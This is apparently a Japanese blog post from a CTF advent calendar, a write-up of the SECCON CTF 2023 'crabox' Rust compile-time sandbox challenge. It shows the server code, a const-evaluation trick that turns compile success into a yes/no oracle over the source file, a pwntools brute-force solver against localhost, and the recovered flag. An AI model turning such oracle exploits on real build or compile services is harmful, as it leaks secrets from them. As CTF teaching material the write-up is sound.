Why not login to Qiita and try out its useful features?

We'll deliver articles that match you.

You can read useful information later.

0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

claustra01's Daily CTFAdvent Calendar 2024

Day 14

[sandbox] crabox (SECCON CTF 2023 Quals) writeup

Last updated at Posted at 2024-12-14

  • Source: SECCON CTF 2023 Quals
  • Author: ark

任意のRustコードを送るとコンパイルしてくれるサーバー。

app.py
import sys
import re
import os
import subprocess
import tempfile

FLAG = os.environ["FLAG"]
assert re.fullmatch(r"SECCON{[_a-z0-9]+}", FLAG)
os.environ.pop("FLAG")

TEMPLATE = """
fn main() {
    {{YOUR_PROGRAM}}

    /* Steal me: {{FLAG}} */
}
""".strip()

print("""
🦀 Compile-Time Sandbox Escape 🦀

Input your program (the last line must start with __EOF__):
""".strip(), flush=True)

program = ""
while True:
    line = sys.stdin.readline()
    if line.startswith("__EOF__"):
        break
    program += line
if len(program) > 512:
    print("Your program is too long. Bye👋".strip())
    exit(1)

source = TEMPLATE.replace("{{FLAG}}", FLAG).replace("{{YOUR_PROGRAM}}", program)

with tempfile.NamedTemporaryFile(suffix=".rs") as file:
    file.write(source.encode())
    file.flush()

    try:
        proc = subprocess.run(
            ["rustc", file.name],
            cwd="/tmp",
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            timeout=2,
        )
        print(":)" if proc.returncode == 0 else ":(")
    except subprocess.TimeoutExpired:
        print("timeout")

コンパイルが成功したか否かだけを教えてくれるらしい。Ferrisくんかわいいね。

$ nc localhost 1337
🦀 Compile-Time Sandbox Escape 🦀

Input your program (the last line must start with __EOF__):
println!("hello, world!");
__EOF__
:)

$ nc localhost 1337
🦀 Compile-Time Sandbox Escape 🦀

Input your program (the last line must start with __EOF__):
hoge
__EOF__
:(

プログラム内に埋め込まれているflagをどうにかして読み出したい。

TEMPLATE = """
fn main() {
    {{YOUR_PROGRAM}}

    /* Steal me: {{FLAG}} */
}
""".strip()

Rustでは、include_str!()マクロによって引数で指定したファイルに含まれる文字列を、file!()マクロによってそのファイルの絶対パスを取得できる。よって、以下のようなコードでそのプログラム自身を取得することが可能。

fn main() {
    println!("{}", include_str!(file!()))
}

次に、この問題ではコンパイルエラーが発生したか否かのみしか返してくれないため、条件に基づいて意図的にコンパイルエラーを起こす方法を考える。色々調べたり試したりしたが、最終的には配列外参照によるエラーを利用することにした。

fn main() {
    const fn assert_const(condition: bool) {
        [()][condition as usize];
    }

    const _:() = assert_const(true);
}

これらを組み合わせて、ソースコードのn+1文字目が指定したものであるかどうかによってコンパイルエラーを引き起こすことができた。

fn main() {
    const SOURCE: &str = include_str!(file!());

    const fn assert_const(condition: bool) {
        [()][condition as usize];
    }
    
    const fn check(index: usize, c: char) {
        assert_const(SOURCE.as_bytes()[index] as char == c)
    }
    
    const _:() = check(0, 'f');
}

あとはflagの始まりのindexを頑張って特定して1文字ずつブルートフォースするだけ。

最終的なsolverはこうなる。

from pwn import *

PAYLOAD = """
    const SOURCE: &str = include_str!(file!());

    const fn assert_const(condition: bool) {
        [()][condition as usize];
    }
    
    const fn check(index: usize, c: char) {
        assert_const(SOURCE.as_bytes()[index] as char == c)
    }
    
    const _:() = check({{INDEX}}, '{{CHAR}}');
"""

# disable info log
context.log_level = "error"

charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}"
flag = "SECCON{"

# 324 is start index of the flag
for i in range(324, 512):
  # skip "SECCON{"
  i += 7

  for j in range(len(charset)):
    p = remote("localhost", 1337)

    p.recvuntil(b"(the last line must start with __EOF__):\n")
    p.sendline(PAYLOAD.replace("{{INDEX}}", str(i)).replace("{{CHAR}}", charset[j]) + "__EOF__")

    recv = p.recvall()
    if b":)" in recv:
      p.close()
      continue

    flag += charset[j]
    print(flag)
    p.close()
    break

  if flag[-1] == "}":
    break

実行してしばらく待つとflagが得られた。
SECCON{ctfe_i5_p0w3rful}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up

Comments

No comments

Let's comment your feelings that are more than good

0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?